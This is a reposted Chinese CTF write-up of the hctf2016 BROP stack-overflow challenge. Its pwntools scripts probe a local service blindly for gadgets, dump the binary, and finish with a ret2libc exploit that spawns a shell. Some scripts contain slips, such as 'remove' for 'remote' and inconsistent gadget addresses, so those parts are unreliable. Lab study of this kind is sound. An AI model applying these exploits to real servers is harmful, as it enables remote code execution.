[ctf wiki pwn] stackoverflow:hctf2016-brop wp

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctf wiki pwn] stackoverflow:hctf2016-brop wp相关的知识,希望对你有一定的参考价值。

文章目录

1、本地解题环境

可通过deploy.sh进行部署,打开该文件,有一条指令:

socat tcp-l:9999,reuseaddr,fork exec:./brop

socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。如果没有socat,还需要提前安装socat。

sudo apt-get install socat

上面这条指令与9999端口绑定,通过run.sh在本地运行起来该题目。

这时,本地解题环境的服务端就起来了。
通过nc 127.0.0.1 9999可连接到该服务。

2、checksec

这道题是BROP,相当于web中的sql盲注,做这道题时,既没有二进制文件,也没有源代码,在比赛时,不可能用checksec来检查防护机制。为了更清楚的弄明白一些原理,还是做一下checksec的这个环节:

3、程序源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void)
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        setbuf(stderr,NULL);
    puts("WelCome my friend,Do you know password?");
        if(!check())
        puts("Do not dump my memory");
        else 
        puts("No password, no game");
        

int check()
    char buf[50];
    read(STDIN_FILENO,buf,1024);
    return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");

4、解题过程

4.1 计算覆盖return addr之前的长度

在没有拿到二进制程序和源程序时,只能通过运行程序在溢出点输入字符串,每次增加一个字节,如果程序崩溃,就可能覆盖了canary或return address。由于本题没有canary,则直接计算距离return address的情况,对于有canary的情况,则需要进一步通过stack reading计算canary。
exp为:

from pwn import *
def getsize():
        i = 1
        while 1:
                try:
                        p = remote('127.0.0.1',9999)
                        p.recvuntil('WelCome my friend,Do you know password?\\n')
                        p.send(i*'a')
                        data = p.recv()
                        p.close()
                        if not data.startswith('No password'):
                                return i-1
                        else:
                                i+=1
                except EOFError:
                        p.close()
                        return i-1

size = getsize()
print "size is [%s]"%size

运行该python脚本后,可计算出大小为72:

4.2 查找stop gadgets

首先解释一下stop gadgets的定义,如果用stop gadgets覆盖return addr,程序不会崩溃,而是会一致停在那里(如loop或sleep等操作。)下面是找stop gadgets的exp:

from pwn import *
length = 72

def getStopGadgets(length):
        addr = 0x400000  
        while 1:
                try:
                        sh = remote('127.0.0.1', 9999)
                        payload = 'a'*length+p64(addr)
                        sh.recvuntil("know password?\\n")
                        sh.sendline(payload)
                        output = sh.recvuntil("password?\\n")
                        sh.close()
                        print("one success addr 0x%x:" % (addr))
                        if not output.startswith('WelCome'):
                                sh.close()
                                addr+=1
                        else:
                                return addr
                except Exception:
                        addr+=1
                        sh.close()
stop_gadgets = getStopGadgets(length)

运行该python脚本后,可找到stop gadgets的地址:

通过objdump,可知这个地址是start函数的地址。找到stop gadgets后,就可以利用它来找用于攻击的gadgets了。

4.3 查找brop gadgets

from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
        try:
                sh = remote('127.0.0.1', 9999)
                sh.recvuntil('password?\\n')
                payload = 'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
                sh.sendline(payload)
                content = sh.recv()
                sh.close()
                print content
                return True
        except Exception:
                sh.close()
                return False

def check_brop_gadget(length, addr):
        try:
                sh = remove('127.0.0.1', 9999)
                sh.recvuntil('password?\\n')
                payload = 'a' * length + p64(addr) + 'a'*8*10
                sh.sendline(payload)
                content = sh.recv()
                sh.close()
                return False
        except Exception:
                sh.close()
                return True

length = 72
stop_gadget = 0x4005c0
addr = 0x400740

while 1:
        print hex(addr)
        if get_brop_gadget(length, stop_gadget, addr):
                print 'possible brop gadget: 0x%x' % addr
                if check_brop_gadget(length, addr):
                        print 'success brop gadget: 0x%x' % addr
                        break
        addr += 1

运行该脚本后,可找到brop gadgets:

4.4 查找puts plt的地址

接下来,我们希望使用brop gadget的地址来获取puts的地址。brop gadget的最后两条汇编指令为pop r15; ret对应的字节码是41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。所以pop rd;ret的地址就是brop gadget +9,通过这个gadget把put的plt打出来。

from pwn import *

length = 72
stop_gadget = 0x4005c0

def get_puts_addr(length, rdi_ret, stop_gadget):
        addr = 0x400500
        while 1:
                print hex(addr)
                sh = remote('127.0.0.1', 9999)
                sh.recvuntil('password?\\n')
                payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
                sh.sendline(payload)
                try:
                        content = sh.recv()
                        if content.startswith('\\x7fELF'):
                                print 'find puts@plt addr: 0x%x' % addr
                                return addr
                        sh.close()
                        addr += 1
                except Exception:
                        sh.close()
                        addr += 1

brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
get_puts_addr(72, rdi_ret, stop_gadget)

运行该脚本,结果为:

4.5 dump文件

找到put plt的地址后,就能不断的puts,把程序dump下来。

from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
        sh = remote('127.0.0.1', 9999)
        payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
        sh.recvuntil('password?\\n')
        sh.sendline(payload)
        try:
                data = sh.recv()
                sh.close()
                try:
                        data = data[:data.index("\\nWelCome")]
                except Exception:
                        data = data
                if data == "":
                        data = '\\x00'
                return data
        except Exception:
                sh.close()
                return None

length = 72

stop_gadget = 0x4005c0

brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9

puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
        print hex(addr)
        data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
        if data is None:
                continue
        else:
                result += data
        addr += len(data)
with open('code', 'wb') as f:
        f.write(result)

把生成的core文件用ida打开,打开方式为binary,选择菜单“edit”-“segments” -“Rebase program”,地址设置为0x4000000,拖到0x400555的位置,在地址上按c,就能看到汇编的格式:

0x601018就是plt跳转的地址,也就是put函数got表的地址。

4.6 完整exp

知道put函数got表的地址后,接下来就是常规操作,整个exp为:

#coding=utf8
from pwn import *

sh = remote('127.0.0.1', 9999)

#sh = process('./brop')

#context.log_level = 'debug'


def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('WelCome my friend,Do you know password?\\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1


def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\\n')
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            content = sh.recv()
            print content
            sh.close()
            print 'one success stop gadget addr: 0x%x' % (addr)
        except Exception:
            addr += 1
            sh.close()

def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
    payload = p64(csu_last)  # pop rbx,rbp,r12,r13,r14,r15, ret
    payload += p64(0x0)  # rbx be 0x0
    payload += p64(0x1)  # rbp be 0x1
    payload += p64(saved_addr)  # r12 jump to
    payload += p64(arg3)  # r13 -> rdx    arg3
    payload += p64(arg2)  # r14 -> rsi    arg2
    payload += p64(arg1)  # r15 -> edi    arg1
    payload += p64(csu_middle)  # will call [rbx + r12 * 0x8]
    payload += 'A' * 56  # junk
    return payload


def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True


def find_brop_gadget(length, stop_gadget):
    addr = 0x400740
    while 1:
        print hex(addr)
        if get_brop_gadget(length, stop_gadget, addr):
            print 'possible brop gadget: 0x%x' % addr
            if check_brop_gadget(length, addr):
                print 'success brop gadget: 0x%x' % addr
                return addr
            addr += 1

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\\x00'
        return data
    except Exception:
        sh.close()
        return None

def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    addr = 0x400000
    result = ""
    while addr < 0x401000:
        print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
        if data is None:
            continue
        else:
            result += data
            addr += len(data)
    with open('code', 'wb') as f:
        f.write(result)


#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + 0x18ce57
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

以上是关于[ctf wiki pwn] stackoverflow:hctf2016-brop wp的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg